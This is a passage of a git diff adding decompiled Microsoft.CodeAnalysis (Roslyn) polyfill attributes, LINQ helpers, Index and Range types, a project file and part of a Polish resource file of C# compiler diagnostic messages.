ReturnValue = returnValue; + Members = new string[1] { member }; + } + + public MemberNotNullWhenAttribute(bool returnValue, params string[] members) + { + ReturnValue = returnValue; + Members = members; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs new file mode 100644 index 0000000..d096bc2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class NotNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs new file mode 100644 index 0000000..e269971 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Parameter | AttributeTargets.ReturnValue, AllowMultiple = true, Inherited = false)] +internal sealed class NotNullIfNotNullAttribute : Attribute +{ + public string ParameterName { get; } + + public NotNullIfNotNullAttribute(string parameterName) + { + ParameterName = parameterName; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs new file mode 100644 index 0000000..8923436 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class NotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public NotNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/SetsRequiredMembersAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/SetsRequiredMembersAttribute.cs new file mode 100644 index 0000000..3f26ace --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/SetsRequiredMembersAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Constructor, AllowMultiple = false, Inherited = false)] +internal sealed class SetsRequiredMembersAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Linq/EnumerableExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Linq/EnumerableExtensions.cs new file mode 100644 index 0000000..b91ecef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Linq/EnumerableExtensions.cs @@ -0,0 +1,49 @@ +using System.Collections.Generic; + +namespace System.Linq; + +internal static class EnumerableExtensions +{ + public static bool SequenceEqual(this IEnumerable? first, IEnumerable? second, Func comparer) + { + if (first == second) + { + return true; + } + if (first == null || second == null) + { + return false; + } + using (IEnumerator enumerator = first.GetEnumerator()) + { + using IEnumerator enumerator2 = second.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!enumerator2.MoveNext() || !comparer(enumerator.Current, enumerator2.Current)) + { + return false; + } + } + if (enumerator2.MoveNext()) + { + return false; + } + } + return true; + } + + public static T? AggregateOrDefault(this IEnumerable source, Func func) + { + using IEnumerator enumerator = source.GetEnumerator(); + if (!enumerator.MoveNext()) + { + return default(T); + } + T val = enumerator.Current; + while (enumerator.MoveNext()) + { + val = func(val, enumerator.Current); + } + return val; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Linq/ImmutableSegmentedListExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Linq/ImmutableSegmentedListExtensions.cs new file mode 100644 index 0000000..5561b2e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Linq/ImmutableSegmentedListExtensions.cs @@ -0,0 +1,124 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Collections; + +namespace System.Linq; + +internal static class ImmutableSegmentedListExtensions +{ + public static bool All(this ImmutableSegmentedList immutableList, Func predicate) + { + if (immutableList.IsDefault) + { + throw new ArgumentNullException("immutableList"); + } + if (predicate == null) + { + throw new ArgumentNullException("predicate"); + } + foreach (T item in immutableList) + { + if (!predicate(item)) + { + return false; + } + } + return true; + } + + public static bool Any(this ImmutableSegmentedList immutableList) + { + if (immutableList.IsDefault) + { + throw new ArgumentNullException("immutableList"); + } + return !immutableList.IsEmpty; + } + + public static bool Any(this ImmutableSegmentedList.Builder builder) + { + if (builder == null) + { + throw new ArgumentNullException("builder"); + } + return builder.Count > 0; + } + + public static bool Any(this ImmutableSegmentedList immutableList, Func predicate) + { + if (immutableList.IsDefault) + { + throw new ArgumentNullException("immutableList"); + } + if (predicate == null) + { + throw new ArgumentNullException("predicate"); + } + foreach (T item in immutableList) + { + if (predicate(item)) + { + return true; + } + } + return false; + } + + public static T Last(this ImmutableSegmentedList immutableList) + { + if (immutableList.Count <= 0) + { + return Enumerable.Last(immutableList); + } + return immutableList[immutableList.Count - 1]; + } + + public static T Last(this ImmutableSegmentedList.Builder builder) + { + if (builder == null) + { + throw new ArgumentNullException("builder"); + } + if (builder.Count <= 0) + { + return Enumerable.Last(builder); + } + return builder[builder.Count - 1]; + } + + public static T Last(this ImmutableSegmentedList immutableList, Func predicate) + { + if (immutableList.IsDefault) + { + throw new ArgumentNullException("immutableList"); + } + if (predicate == null) + { + throw new ArgumentNullException("predicate"); + } + for (int num = immutableList.Count - 1; num >= 0; num--) + { + if (predicate(immutableList[num])) + { + return immutableList[num]; + } + } + return Enumerable.Empty().Last(); + } + + public static IEnumerable Select(this ImmutableSegmentedList immutableList, Func selector) + { + if (immutableList.IsDefault) + { + throw new ArgumentNullException("immutableList"); + } + if (selector == null) + { + throw new ArgumentNullException("selector"); + } + if (immutableList.IsEmpty) + { + return Enumerable.Empty(); + } + return Enumerable.Select(immutableList, selector); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Linq/RoslynEnumerable.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Linq/RoslynEnumerable.cs new file mode 100644 index 0000000..0f7710d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Linq/RoslynEnumerable.cs @@ -0,0 +1,17 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Collections.Internal; + +namespace System.Linq; + +internal static class RoslynEnumerable +{ + public static SegmentedList ToSegmentedList(this IEnumerable source) + { + if (source == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.source); + } + return new SegmentedList(source); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/CompilerFeatureRequiredAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/CompilerFeatureRequiredAttribute.cs new file mode 100644 index 0000000..6e10ab7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/CompilerFeatureRequiredAttribute.cs @@ -0,0 +1,18 @@ +namespace System.Runtime.CompilerServices; + +[AttributeUsage(AttributeTargets.All, AllowMultiple = true, Inherited = false)] +internal sealed class CompilerFeatureRequiredAttribute : Attribute +{ + public const string RefStructs = "RefStructs"; + + public const string RequiredMembers = "RequiredMembers"; + + public string FeatureName { get; } + + public bool IsOptional { get; init; } + + public CompilerFeatureRequiredAttribute(string featureName) + { + FeatureName = featureName; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/InternalImplementationOnlyAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/InternalImplementationOnlyAttribute.cs new file mode 100644 index 0000000..cc84c4d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/InternalImplementationOnlyAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Runtime.CompilerServices; + +[AttributeUsage(AttributeTargets.Interface, AllowMultiple = false)] +internal sealed class InternalImplementationOnlyAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/InterpolatedStringHandlerArgumentAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/InterpolatedStringHandlerArgumentAttribute.cs new file mode 100644 index 0000000..ed1d5a7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/InterpolatedStringHandlerArgumentAttribute.cs @@ -0,0 +1,17 @@ +namespace System.Runtime.CompilerServices; + +[AttributeUsage(AttributeTargets.Parameter, AllowMultiple = false, Inherited = false)] +internal sealed class InterpolatedStringHandlerArgumentAttribute : Attribute +{ + public string[] Arguments { get; } + + public InterpolatedStringHandlerArgumentAttribute(string argument) + { + Arguments = new string[1] { argument }; + } + + public InterpolatedStringHandlerArgumentAttribute(params string[] arguments) + { + Arguments = arguments; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/InterpolatedStringHandlerAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/InterpolatedStringHandlerAttribute.cs new file mode 100644 index 0000000..138d062 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/InterpolatedStringHandlerAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Runtime.CompilerServices; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct, AllowMultiple = false, Inherited = false)] +internal sealed class InterpolatedStringHandlerAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/IsExternalInit.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/IsExternalInit.cs new file mode 100644 index 0000000..135465c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/IsExternalInit.cs @@ -0,0 +1,8 @@ +using System.ComponentModel; + +namespace System.Runtime.CompilerServices; + +[EditorBrowsable(EditorBrowsableState.Never)] +internal static class IsExternalInit +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/RequiredMemberAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/RequiredMemberAttribute.cs new file mode 100644 index 0000000..9bcfe7a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Runtime.CompilerServices/RequiredMemberAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Runtime.CompilerServices; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = false, Inherited = false)] +internal sealed class RequiredMemberAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Security/SuppressUnmanagedCodeSecurityAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Security/SuppressUnmanagedCodeSecurityAttribute.cs new file mode 100644 index 0000000..75cea68 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Security/SuppressUnmanagedCodeSecurityAttribute.cs @@ -0,0 +1,5 @@ +namespace System.Security; + +internal class SuppressUnmanagedCodeSecurityAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System/Index.cs b/decompiled/Libraries/microsoft.codeanalysis/System/Index.cs new file mode 100644 index 0000000..672858d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System/Index.cs @@ -0,0 +1,112 @@ +using System.Runtime.CompilerServices; + +namespace System; + +internal readonly struct Index : IEquatable +{ + private readonly int _value; + + public static Index Start => new Index(0); + + public static Index End => new Index(-1); + + public int Value + { + get + { + if (_value < 0) + { + return ~_value; + } + return _value; + } + } + + public bool IsFromEnd => _value < 0; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public Index(int value, bool fromEnd = false) + { + if (value < 0) + { + throw new ArgumentOutOfRangeException("value", value, "Non-negative number required."); + } + if (fromEnd) + { + _value = ~value; + } + else + { + _value = value; + } + } + + private Index(int value) + { + _value = value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Index FromStart(int value) + { + if (value < 0) + { + throw new ArgumentOutOfRangeException("value", value, "Non-negative number required."); + } + return new Index(value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Index FromEnd(int value) + { + if (value < 0) + { + throw new ArgumentOutOfRangeException("value", value, "Non-negative number required."); + } + return new Index(~value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public int GetOffset(int length) + { + int num = _value; + if (IsFromEnd) + { + num += length + 1; + } + return num; + } + + public override bool Equals(object? value) + { + if (value is Index) + { + return _value == ((Index)value)._value; + } + return false; + } + + public bool Equals(Index other) + { + return _value == other._value; + } + + public override int GetHashCode() + { + return _value; + } + + public static implicit operator Index(int value) + { + return FromStart(value); + } + + public override string ToString() + { + if (IsFromEnd) + { + return "^" + (uint)Value; + } + return ((uint)Value).ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System/Range.cs b/decompiled/Libraries/microsoft.codeanalysis/System/Range.cs new file mode 100644 index 0000000..d75ffa4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System/Range.cs @@ -0,0 +1,83 @@ +using System.Runtime.CompilerServices; +using Roslyn.Utilities; + +namespace System; + +internal readonly struct Range : IEquatable +{ + public Index Start { get; } + + public Index End { get; } + + public static Range All => Index.Start..Index.End; + + public Range(Index start, Index end) + { + Start = start; + End = end; + } + + public override bool Equals(object? value) + { + if (value is Range { Start: var start } range && start.Equals(Start)) + { + return range.End.Equals(End); + } + return false; + } + + public bool Equals(Range other) + { + if (other.Start.Equals(Start)) + { + return other.End.Equals(End); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Start.GetHashCode(), End.GetHashCode()); + } + + public override string ToString() + { + return getFromEndSpecifier(Start) + toString(Start) + ".." + getFromEndSpecifier(End) + toString(End); + static string getFromEndSpecifier(Index index) + { + if (!index.IsFromEnd) + { + return string.Empty; + } + return "^"; + } + static string toString(Index index) + { + return ((uint)index.Value).ToString(); + } + } + + public static Range StartAt(Index start) + { + return start..Index.End; + } + + public static Range EndAt(Index end) + { + return Index.Start..end; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public (int Offset, int Length) GetOffsetAndLength(int length) + { + Index start = Start; + int num = ((!start.IsFromEnd) ? start.Value : (length - start.Value)); + Index end = End; + int num2 = ((!end.IsFromEnd) ? end.Value : (length - end.Value)); + if ((uint)num2 > (uint)length || (uint)num > (uint)num2) + { + throw new ArgumentOutOfRangeException("length"); + } + return (Offset: num, Length: num2 - num); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/costura.microsoft.codeanalysis.csproj b/decompiled/Libraries/microsoft.codeanalysis/costura.microsoft.codeanalysis.csproj new file mode 100644 index 0000000..79d46e3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/costura.microsoft.codeanalysis.csproj @@ -0,0 +1,39 @@ + + + Microsoft.CodeAnalysis + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Collections.Immutable.dll + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Reflection.Metadata.dll + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Memory.dll + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Threading.Tasks.Extensions.dll + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Text.Encoding.CodePages.dll + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Runtime.CompilerServices.Unsafe.dll + + + \ No newline at end of file diff --git a/decompiled/Libraries/pl.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.pl.resx b/decompiled/Libraries/pl.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.pl.resx new file mode 100644 index 0000000..bc898f0 --- /dev/null +++ b/decompiled/Libraries/pl.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.pl.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Dla wyjść bez źródła trzeba określić opcję /out. + Dzielenie przez wartość stałą wynoszącą zero + Typy i aliasy nie powinny mieć nazwy „record”. + „{0}” nie jest prawidłowym argumentem nazwanego atrybutu, ponieważ nie jest to prawidłowy typ parametru atrybutu + Komentarz XML ma nieprawidłowo sformułowany kod XML + Ograniczenie „new()” nie może być używane z ograniczeniem „unmanaged” + Niektóre typy zestawu analizatora {0} zostaną pominięte z powodu wyjątku ReflectionTypeLoadException: {1}. + Pole jest przypisane, ale jego wartość nie jest nigdy używana + rekordy + Drzewo wyrażenia nie może zawierać operatora przypisania. + Nie można odnaleźć przynajmniej jednego typu wymaganego do skompilowania wyrażenia dynamicznego. Czy nie brakuje odwołania? + 'Element „{0}” jest przestarzały: „{1}” + Atrybut Conditional jest nieprawidłowy w elemencie "{0}", ponieważ jest to konstruktor, destruktor, operator, wyrażenie lambda lub wyraźna implementacja interfejsu + Składowe podstawowego parametru konstruktora '{0}' typu tylko do odczytu nie mogą być zwracane przez zapisywalne odwołanie + Wzorce wycinków mogą być używane tylko raz i bezpośrednio wewnątrz wzorca listy. + Nieprawidłowa nazwa modułu: {0} + Interfejs występuje już na liście interfejsów z inną obsługą wartości null typów referencyjnych. + „{0}”: zdefiniowane przez użytkownika konwersje na lub z typu bazowego nie są dozwolone + „{0}”: nie można odwołać się do typu przy użyciu wyrażenia. Spróbuj użyć „{1}” + Wersja kompilatora: „{0}”. Wersja języka: {1}. + iteratory + Opcja /win32manifest dla modułu zostanie zignorowana, ponieważ dotyczy tylko zestawów + Strona kodowa „{0}” jest nieprawidłowa lub niezainstalowana + Przestarzała składowa „{0}” przesłania nieprzestarzałą składową „{1}”. + Brak zamykającego znaku cudzysłowu dla literału ciągu. + Zgłoszona wartość może być równa null. + Użycie prawdopodobnie nieprzypisanej automatycznie implementowanej właściwości „{0}”. Rozważ zaktualizowanie do wersji językowej „{1}”, aby automatycznie ustawić domyślną właściwości. + 'Nie można ustawić elementu „{0}” jako dopuszczającego wartość null. + deklaracje using + Docelowe środowisko uruchomieniowe nie obsługuje domyślnej implementacji interfejsu. + Kompilacja anulowana przez użytkownika + Odwołania do metadanych nie są obsługiwane. + Treść zapytania musi kończyć się klauzulą „select” lub „group”. + Dane wyrażenie nigdy nie jest zgodne z podanym wzorcem. + Metody dostępu „init” nie można oznaczyć jako „tylko do odczytu”. Zamiast tego oznacz jako tylko do odczytu element „{0}”. + Operator „&” nie powinien być używany w parametrach ani zmiennych lokalnych w metodach asynchronicznych. + Instrukcja switch zawiera wiele etykiet case o wartości „{0}” + Oczekiwano identyfikatora; „{1}” jest słowem kluczowym + Nieprawidłowa wartość „{0}”: „{1}”. + Parametr typu „{0}” ma tę samą nazwę co parametr typu z metody zewnętrznej „{1}” + Drzewo wyrażenia nie może zawierać niebezpiecznej operacji wskaźnika + Znaleziono nieprawidłowy znak wewnątrz odwołania do jednostki. + Drzewo wyrażenia lambda nie może zawierać metody z argumentami zmiennych + Przełącznik wiersza polecenia nie jest jeszcze zaimplementowany + Kompilator niejawnie poszerzył zmienną i rozszerzył jej znak, a następnie użył wartości wynikowej w operacji bitowej OR. Może to powodować nieoczekiwane działanie. + Do wskaźnika należy zastosować operator * lub -> + Nieprawidłowa nazwa symbolu przetwarzania wstępnego; „{0}” nie jest prawidłowym identyfikatorem + Nie można zastosować operatora „{0}” do argumentów operacji typu „{1}” lub „{2}”. + liczby całkowite o wielkości natywnej + Nie można oznaczyć typu jako zgodnego ze specyfikacją CLS, ponieważ jest to składowa typu niezgodnego ze specyfikacją CLS + Zastosowanie elementu CallerMemberNameAttribute nie odniesie żadnego skutku; zostanie on przesłonięty przez element CallerLineNumberAttribute + Składowe elementu {0} „{1}” nie mogą być zwracane przez zapisywalne odwołanie, ponieważ jest to zmienna tylko do odczytu + Atrybut InterpolatedStringHandlerArgumentAttribute zastosowany do parametru "{0}" jest źle sformułowany i nie można go zinterpretować. Utwórz ręcznie wystąpienie "{1}". + Podany wiersz ma długość składającą się z „{0}” znaków, czyli mniej niż podana liczba znaków „{1}”. + 'W elemencie „{0}” nie może wystąpić deklaracja treści, ponieważ jest on oznaczony jako abstrakcyjny + Niespójność dostępności: typ zdarzenia „{1}” jest mniej dostępny niż zdarzenie „{0}” + Składowa „{0}” przesłania przestarzałą składową „{1}”. Dodaj atrybut Obsolete do składowej „{0}”. + Wykryto nieosiągalny kod + Typ lub składowa nie wymaga atrybutu CLSCompliant, ponieważ zestaw nie ma atrybutu CLSCompliant + W tym kontekście nie można użyć podstawowego parametru konstruktora '{0}'. + Nie można znaleźć implementacji wzorca zapytania dla typu źródłowego „{0}”. Nie znaleziono elementu „{1}”. Rozważ jawne określenie typu zmiennej zakresu „{2}”. + „{0}” to nie jest prawidłowy numer ostrzeżenia + Nie można użyć typu „{3}” jako parametru typu „{2}” w typie ogólnym lub metodzie „{0}”. Brak niejawnej konwersji odwołania z typu „{3}” na „{1}”. + Metoda, operator lub metoda dostępu są oznaczone jako zewnętrzne i nie zawierają atrybutów + Metoda procedury obsługi ciągu interpolowanego "{0}" ma nieprawidłową postać. Nie zwraca ona wartości "void" lub "bool". + Wzorzec odrzucania nie jest dozwolony jako etykieta instrukcji case w instrukcji switch. Użyj instrukcji „case var _:” w przypadku wzorca odrzucania lub użyj instrukcji „case @_:” w przypadku stałej o nazwie „_”. + Konwencja wywołania elementu „{0}” jest niezgodna z elementem „{1}”. + Nie można użyć typu referencyjnego dopuszczającego wartość null podczas tworzenia obiektu. + Nazwa destruktora musi być zgodna z nazwą typu + Błąd składni wiersza polecenia: „{0}” nie jest prawidłową wartością dla opcji „{1}”. Wartość musi mieć postać „{2}”. + "{0}" nie jest metodą wystąpienia, a odbiorca nie może być argumentem procedury obsługi ciągu interpolowanego. + To odwołanie przypisuje element „{1}” do „{0}”, ale „{1}” może tylko pominąć bieżącą metodę za pośrednictwem instrukcji return. + Nie można przekazać zmiennej zakresu „{0}” jako parametru ze specyfikatorem out lub ref + Pętla foreach musi deklarować swoje zmienne iteracji. + parametry typu bez ograniczeń w operatorze łączenia wartości null + Dla metody oznaczonej przy użyciu słów kluczowych „static” i „extern” musi zostać określony atrybut DllImport + metoda częściowa + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + Funkcja „{0}” nie jest dostępna w języku C# 11.0. Użyj języka w wersji {1} lub nowszej. + Funkcja "{0}" nie jest dostępna w języku C# 10.0. Użyj języka w wersji {1} lub nowszej. + Pole „{0}” jest przypisane, lecz jego wartość nie jest nigdy używana + Nie można użyć instrukcji yield w treści klauzuli finally. + <przestrzeń nazw> + Operatora „await” można użyć tylko w wyrażeniu zapytania w pierwszym wyrażeniu kolekcji początkowej klauzuli „from” albo w wyrażeniu kolekcji klauzuli „join”. + Domyślna wartość określona dla parametru „{0}” nie odniesie żadnego skutku, ponieważ jest zastosowana dla składowej używanej w kontekstach niezezwalających na argumenty opcjonalne + „{0}”: jawna deklaracja interfejsu może występować tylko w klasie, rekordzie, strukturze lub interfejsie + Nie można ponownie zdefiniować globalnego aliasu zewnętrznego + Metoda "Slice" tablicy wbudowanej nie będzie używana na potrzeby wyrażenia dostępu do elementu. + Atrybut CLSCompliant nie ma znaczenia, gdy jest stosowany do parametrów. Zamiast tego spróbuj umieścić go w metodzie. + To ostrzeżenie występuje, gdy blok catch() nie ma określonego typu wyjątku po bloku catch (System.Exception e). Ostrzeżenie zawiera zalecenie, aby blok catch() nie przechwytywało żadnych wyjątków. + +Blok catch() po bloku catch (System.Exception e) może przechwytywać wyjątki niezgodne ze specyfikacją CLS, jeśli element RuntimeCompatibilityAttribute ma ustawioną wartość false w pliku AssemblyInfo.cs: [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]. Jeśli ten atrybut nie ma jawnie ustawionej wartości false, wszystkie zgłaszane wyjątki niezgodne ze specyfikacją CLS są opakowywane jako wyjątki przez blok catch (System.Exception e). + Zastosowany atrybut CallerArgumentExpressionAttribute do parametru nie odniesie żadnego skutku, ponieważ odwołuje się sam do siebie. + Zmiennej out nie można zadeklarować jako lokalnej zmiennej ref + Nie można zdefiniować oczekiwania wewnątrz klauzuli „catch” + Operator „{0}” wymaga, aby była zdefiniowana również pasująca niesprawdzona wersja operatora + przestrzeń nazw z określonym zakresem plików + Nie można dekonstruować obiektów dynamicznych. + Nie można użyć wyrażenia w tym kontekście, ponieważ może ono nie zostać przekazane lub zwrócone przez referencję + Opcja /reference, która deklaruje alias zewnętrzny, może mieć tylko jedną nazwę pliku. Aby określić wiele aliasów lub nazw plików, użyj wielu opcji /reference. + Konwersja wyrażenia stackalloc typu „{0}” na typ „{1}” nie jest możliwa. + Brak zamykającego znaku ograniczającego „}” dla interpolowanego wyrażenia rozpoczynającego się od znaku „{”. + Aby włączyć sprawdzanie zgodności ze specyfikacją CLS, należy określić atrybut CLSCompliant dla zestawu, a nie dla modułu + Modyfikator „scoped" może być używany tylko w przypadku odwołań i wartości struktury referencyjnej. + Instrukcja foreach nie może operować na zmiennych typu „{0}”, ponieważ typ „{0}” nie zawiera publicznego wystąpienia lub definicji rozszerzenia dla elementu „{1}” + Błąd podczas odczytywania pliku zestawu reguł {0} — {1} + Nie wywołuj bezpośrednio metody Finalize typu bazowego. Metoda jest wywoływana automatycznie z destruktora. + „{0}”: wartość, która wystąpiła w module wyliczającym, jest zbyt duża, aby można było ją stosować przy użyciu typu tego modułu + Podany plik zawiera następującą liczbę wierszy: „{0}”, czyli mniej niż podana liczba wierszy „{1}”. + Określono nieprawidłową nazwę pliku dla dyrektywy preprocesora. Nazwa pliku jest za długa lub nieprawidłowa. + Typ lub składowa jest przestarzała + Nie można przekonwertować wyrażenia na „{0}”, ponieważ może ono nie zostać przekazane lub zwrócone przez odwołanie + Nie można wywnioskować argumentów typu dla metody „{0}” na podstawie użytkowania. Spróbuj jawnie określić argumenty typu. + Możliwy argument odwołania o wartości null. + grupa &metod + Brak atrybutu pliku + Brak atrybutu ścieżki + Niezarządzany typ „{0}” jest nieprawidłowy dla pól. + Błąd podczas podpisywania danych wyjściowych za pomocą klucza publicznego z kontenera „{0}” — {1} + Operator „{0}” wymaga zdefiniowanego zgodnego operatora „{1}” + Inicjator pola nie może odwoływać się do niestatycznego pola, metody lub właściwości „{0}”. + automatycznie implementowane właściwości tylko do odczytu + Przestrzeń nazw „{1}” już zawiera definicję dla „{0}” w tym pliku. + Pól pola statycznego tylko do odczytu „{0}” nie można użyć jako wartości ref ani out (z wyjątkiem sytuacji, gdy znajdują się w konstruktorze statycznym) + To odwołanie przypisuje element „{1}” do elementu „{0}”, ale „{1}” ma węższy zakres ucieczki niż „{0}”. + modyfikatory dostępu we właściwościach + Typy i aliasy nie mogą mieć nazwy „scoped”. + Nieprawidłowy token „{0}” w deklaracji składowej klasy, rekordu, struktury lub interfejsu + Nie można znaleźć pliku metadanych „{0}” + Wywołanie składowej innej niż tylko do odczytu ze składowej zadeklarowanej jako „readonly” może spowodować niejawne utworzenie kopii. + Przestrzeń nazw z określonym zakresem plików musi poprzedzać wszystkie inne składowe w pliku. + Element „{0}” nie ma wstępnie zdefiniowanego rozmiaru, dlatego operatora sizeof można użyć tylko w kontekście słowa kluczowego unsafe + Określono nieprawidłową ścieżkę wyszukiwania „{0}” w elemencie „{1}” — „{2}” + Nie można przekonwertować elementu {0} na typ „{1}”, ponieważ typy parametrów nie pasują do typów parametru delegowanego + Tylko składowe zgodne ze specyfikacją CLS mogą być abstrakcyjne + prywatny chroniony + Zestaw i moduł „{0}” nie mogą wskazywać różnych procesorów. + Drzewo wyrażeń nie może zawierać wyrażenia zakresu („..”). + Modyfikator rodzaju odwołania '{0}' parametru nie jest zgodny z odpowiadającym mu parametrem '{1}' w lokalizacji docelowej. + „{0}” nie jest interpolowanym typem obsługi ciągu. + Modyfikator rodzaju odwołania '{0}' parametru nie jest zgodny z odpowiednim '{1}' parametru w ukrytej składowej. + Automatycznie zaimplementowana właściwość „{0}” jest odczytywana przed jawnym przypisaniem, co powoduje wcześniejsze niejawne przypisanie elementu „default”. + Nie można zdefiniować oczekiwania w treści instrukcji „lock” + Statycznego pola tylko do odczytu nie można użyć jako wartości ref ani out (z wyjątkiem sytuacji, gdy znajduje się w konstruktorze statycznym) + Użycie prawdopodobnie nieprzypisanej automatycznie implementowanej właściwości. Rozważ zaktualizowanie do wersji językowej, aby automatycznie ustawić domyślną właściwości. + Atrybut „{0}” nie jest prawidłowy w metodach dostępu do właściwości lub 